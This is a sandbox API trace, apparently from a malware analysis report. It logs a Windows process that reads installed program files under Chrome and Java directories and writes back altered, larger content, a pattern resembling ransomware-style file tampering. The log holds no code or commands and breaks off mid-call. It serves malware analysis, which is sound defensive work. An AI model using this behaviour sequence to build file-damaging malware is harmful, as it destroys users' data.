GetLastError () returned 0x5 [0047.661] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0047.661] LocalFree (hMem=0x71aff8) returned 0x0 [0047.661] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0047.661] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0047.662] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0047.662] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0047.662] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1036.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1036.mst")) returned 0x21 [0047.662] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1049.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1049.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0047.662] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1049.mst", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1049.mst", lpFilePart=0x340f690*="1049.mst") returned 0x64 [0047.662] GetLastError () returned 0x5 [0047.662] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0047.662] LocalFree (hMem=0x71aff8) returned 0x0 [0047.662] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0047.662] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0047.662] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0047.663] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0047.663] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1049.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1049.mst")) returned 0x21 [0047.663] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\AcroRead.msi" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\acroread.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0047.663] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\AcroRead.msi", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\AcroRead.msi", lpFilePart=0x340f690*="AcroRead.msi") returned 0x68 [0047.663] GetLastError () returned 0x5 [0047.663] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0047.663] LocalFree (hMem=0x71aff8) returned 0x0 [0047.663] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0047.663] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0047.663] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0047.663] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0047.663] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\AcroRead.msi" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\acroread.msi")) returned 0x21 [0047.664] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.exe.sig"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0047.664] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.664] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x57f [0047.664] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.664] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.664] ReleaseMutex (hMutex=0x128) returned 1 [0047.664] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome.exe.sig", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0047.664] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome.exe.sig", cchWideChar=14, lpMultiByteStr=0x1e633ec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chrome.exe.sig", lpUsedDefaultChar=0x0) returned 14 [0047.664] ReadFile (in: hFile=0x1a8, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x57f, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x340f2bc*=0x57f, lpOverlapped=0x0) returned 1 [0047.686] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0047.686] WriteFile (in: hFile=0x1a8, lpBuffer=0x276c388*, nNumberOfBytesToWrite=0xb07, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276c388*, lpNumberOfBytesWritten=0x340f2d0*=0xb07, lpOverlapped=0x0) returned 1 [0047.687] CloseHandle (hObject=0x1a8) returned 1 [0047.687] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0047.687] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.687] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x9a9480 [0047.687] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.687] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.687] ReleaseMutex (hMutex=0x128) returned 1 [0047.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudtl.dat", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0047.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudtl.dat", cchWideChar=10, lpMultiByteStr=0x1e630ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icudtl.dat", lpUsedDefaultChar=0x0) returned 10 [0047.687] ReadFile (in: hFile=0x1a8, lpBuffer=0x27eecc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27eecc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.707] ReadFile (in: hFile=0x1a8, lpBuffer=0x27eecc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27eecc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.727] ReadFile (in: hFile=0x1a8, lpBuffer=0x27eecc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27eecc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.757] ReadFile (in: hFile=0x1a8, lpBuffer=0x27eecc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27eecc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.770] ReadFile (in: hFile=0x1a8, lpBuffer=0x27eecc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27eecc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.827] ReadFile (in: hFile=0x1a8, lpBuffer=0x27eecc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27eecc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.831] ReadFile (in: hFile=0x1a8, lpBuffer=0x27eecc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27eecc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.833] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef00000 [0047.839] ReadFile (in: hFile=0x1a8, lpBuffer=0x27eecc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27eecc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.846] ReadFile (in: hFile=0x1a8, lpBuffer=0x27eecc8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27eecc8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.859] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x340f23c, dwLength=0x1c | out: lpBuffer=0x340f23c*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0047.859] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee60000 [0047.866] VirtualFree (lpAddress=0x7ef00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0047.869] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x9a7480 [0047.869] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da9408, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da9408*, lpNumberOfBytesRead=0x340f278*=0x2000, lpOverlapped=0x0) returned 1 [0047.900] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x9a7480 [0047.901] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef30000 [0048.622] LocalFree (hMem=0x71aff8) returned 0x0 [0048.622] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.622] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0048.622] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0048.622] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0048.622] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\classes.jsa")) returned 0x21 [0048.622] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\keytool.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.623] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.623] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x3da8 [0048.623] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.623] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.623] ReleaseMutex (hMutex=0x128) returned 1 [0048.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="keytool.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="keytool.exe", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keytool.exe", lpUsedDefaultChar=0x0) returned 11 [0048.623] ReadFile (in: hFile=0x1a8, lpBuffer=0x280edb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.625] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x2da8 [0048.626] ReadFile (in: hFile=0x1a8, lpBuffer=0x280edb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.627] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x2da8 [0048.627] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dac438*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac438*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.627] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0048.627] WriteFile (in: hFile=0x1a8, lpBuffer=0x280edb8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.627] CloseHandle (hObject=0x1a8) returned 1 [0048.628] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\ssvagent.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.628] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.628] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xbfa8 [0048.628] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.628] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.628] ReleaseMutex (hMutex=0x128) returned 1 [0048.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ssvagent.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ssvagent.exe", cchWideChar=12, lpMultiByteStr=0x1e6306c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ssvagent.exe", lpUsedDefaultChar=0x0) returned 12 [0048.628] ReadFile (in: hFile=0x1a8, lpBuffer=0x2806d28, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2806d28*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0048.630] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xafa8 [0048.630] ReadFile (in: hFile=0x1a8, lpBuffer=0x280edb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.631] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xafa8 [0048.631] WriteFile (in: hFile=0x1a8, lpBuffer=0x2808d58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2808d58*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.631] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0048.631] WriteFile (in: hFile=0x1a8, lpBuffer=0x2806d28*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2806d28*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0048.632] CloseHandle (hObject=0x1a8) returned 1 [0048.632] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.632] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.632] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x278 [0048.632] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.632] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.632] ReleaseMutex (hMutex=0x128) returned 1 [0048.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GRAY.pf", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0048.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GRAY.pf", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GRAY.pf", lpUsedDefaultChar=0x0) returned 7 [0048.632] ReadFile (in: hFile=0x1a8, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x278, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x340f2bc*=0x278, lpOverlapped=0x0) returned 1 [0048.633] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0048.633] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x800, lpOverlapped=0x0) returned 1 [0048.633] CloseHandle (hObject=0x1a8) returned 1 [0048.634] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.634] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.634] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xe10 [0048.634] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.634] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.634] ReleaseMutex (hMutex=0x128) returned 1 [0048.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_es.properties", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0048.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_es.properties", cchWideChar=22, lpMultiByteStr=0x1e78b7c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages_es.properties", lpUsedDefaultChar=0x0) returned 22 [0048.634] ReadFile (in: hFile=0x1a8, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0xe10, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x340f2bc*=0xe10, lpOverlapped=0x0) returned 1 [0048.636] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0048.636] WriteFile (in: hFile=0x1a8, lpBuffer=0x2808d58*, nNumberOfBytesToWrite=0x1398, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2808d58*, lpNumberOfBytesWritten=0x340f2d0*=0x1398, lpOverlapped=0x0) returned 1 [0048.636] CloseHandle (hObject=0x1a8) returned 1 [0048.637] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\splash.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.637] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.637] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x3687 [0048.637] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0048.637] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.637] ReleaseMutex (hMutex=0x128) returned 1 [0048.637] WideCharToMultiByte (in: 